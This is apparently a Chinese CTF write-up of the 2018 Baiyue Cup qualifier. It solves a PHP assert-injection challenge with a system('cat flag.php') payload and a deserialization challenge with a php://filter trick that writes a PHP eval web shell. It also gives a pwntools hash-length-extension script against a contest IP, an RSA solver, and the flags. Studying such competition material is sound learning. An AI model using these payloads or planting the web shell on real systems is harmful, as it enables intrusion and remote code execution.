2018 福建省高校网络空间安全大赛 百越杯 线上初赛

太菜了,只能挨打。

签到

解数独,找个自动解题的网站就好了。

1
2
3
4
5
6
7
8
9
473615928
216984753
598237164
651892437
942376815
387451296
834529671
125768349
769143582
1
flag{cee3860fb3f4a52e615fa8aaf3c91f2b}

warmup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
require_once('flag.php');
error_reporting(0);

if(!isset($_GET['u'])){
highlight_file(__FILE__);
die();
}else{
$i=$_GET['i'];
$u=$_GET['u'];
if($_GET['u']!="Hello World"){
die('die...');
}
assert("$i == $u");
// TODO
// echo $flag;
}
?>

assert会造成命令执行,只要注释掉后面的语句就行了。

1
?u=Hello%20World&i=system(%22cat%20flag.php%22);//
1
<!-- TODO --><?php$flag='flag{a0572c90-6aab-42c0-a0c7-2fe5fa4442b3}';echo '<!-- TODO -->';

simple ser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php 
class cls1{
var $cls;
var $arr;

function show(){
show_source(__FILE__);
}

function __wakeup(){
foreach($this->arr as $k => $v){
echo $this->cls->$v;
}

}
}

class cls2{
var $filename = 'hello.php';
var $txt = '';
function __get($key){
if($key == 'fileput'){
return $this->fileput();
}else{
return '<p>'.htmlspecialchars($key).'</p>';
}
}

function fileput(){
if( strpos($this->filename,'../') !== false ||
strpos($this->filename,'\\') !== false
) die();

$content = '<?php die(\'stupid\'); ?>';
$content .= $this->txt;
file_put_contents($this->filename, $content);
return htmlspecialchars($content);

}

}

if(!empty($_POST)){
$cls = base64_decode($_POST['ser']);
$instance = unserialize($cls);
}else{
$a = new cls1();
$a->show();
}

根据题意,创建一个cls1一个cls2对象,使得cls1->cls=cls2即可,最后再使用伪协议绕过得以die()

这里做个笔记,之前MOCTF学长出的一道题,死亡退出。

原理是这里使用伪协议打开south.php文件,并将前面的$content与后面的Base64编码合并解码写入文件。

1
2
3
4
5
6
7
8
9
$aa = new cls1();
$bb = new cls2();
$bb->filename = "php://filter/write=convert.base64-decode/resource=south.php";
$bb->txt = base64_encode("<?php @eval(\$_POST['south']);?>");
$aa->arr = array(1=>"fileput");
$aa->cls = $bb;

echo "<br/>".serialize($aa)."<br/>";
echo "<br/>ser=".base64_encode(serialize($aa))."<br/>";

此处由于Base64的特性,即四个字节为一组解码,且编码字符为大小写字符和数字以及+/,因此此处的<?php die(\'stupid\'); ?>有效字符只有12位,刚好够解码干扰前面的死亡代码,若只有不足4N位则需自己添加有效字符凑齐,那么并上后面的Base64编码的恶意代码一同解码,就会得到暝髭꘿i暼?php system('cat flag.php');?>这样的内容写入文件中,从而Getshell,而最后payload如下。

1
ser=Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjU5OiJwaHA6Ly9maWx0ZXIvd3JpdGU9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPXNvdXRoLnBocCI7czozOiJ0eHQiO3M6NDQ6IlBEOXdhSEFnUUdWMllXd29KRjlRVDFOVVd5ZHpiM1YwYUNkZEtUcy9QZz09Ijt9czozOiJhcnIiO2E6MTp7aToxO3M6NzoiZmlsZXB1dCI7fX0=

连🐎。

1
flag{b722fe16-38d7-4969-aa2e-e907e69982e2}

买手机

RCTF的原题,Cpushop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python
# coding=utf-8
from pwn import *
import hashpumpy

p = remote('117.50.13.182',8888)
p.recv()

p.sendline("2")
p.recvuntil("Product ID: ")
p.sendline("9")

payment = p.recv()
sp = payment.find('&sign=')
sign = payment[sp+6:]
sign = sign[:sign.find('\n')]
payment = payment[payment.find('product'):payment.find('&sign')]

for keylen in range(8,32):
log.info('trying keylen='+str(keylen))

n = hashpumpy.hashpump(sign, payment, '&price=1', keylen)
order = n[1] + "&sign="+n[0]

p.sendline("3")
p.recvuntil("Your order:")
p.sendline(order)
p.recv(1000)
ret = p.recv(1000)
if ("Invalid" not in ret):
print(ret)
print(p.recvuntil("Money: "))
quit()
1
flag{Hash_leNgth_eXt3ns1on_attack_!S)_E@sy}

RSA

CTFWIKI上有原题,由于pq搞反了,导致跑了一天都没跑出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import gmpy2 
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5

def decrypt_RSA(cipherfile):
n = 62078208638445817213739226854534031566665495569130972218813975279479576033261
e = 9850747023606211927
p = 336771668019607304680919844592337860739
q = 184333227921154992916659782580114145999
cipher = open(cipherfile, "r").read()
while True:
try:
# key = open(privkey, "r").read()
phi = (p - 1)*(q - 1)
d = gmpy2.invert(e, phi)
# pubkey = RSA.construct((long(n), long(e)))
privkey = RSA.construct((long(n), long(e), long(d)))
key = PKCS1_v1_5.new(privkey)
decrypted = key.decrypt(base64.b64decode(cipher), None)
print decrypted
break
except Exception as ex:
print ex
p = gmpy2.next_prime(p**2 + q**2)
q = gmpy2.next_prime(2*p*q)
e = gmpy2.next_prime(e**2)
n = long(p)*long(q)
decrypt_RSA("flag.enc")

得到flag

1
flag{f@cToR__N_bY_!teratlnG!}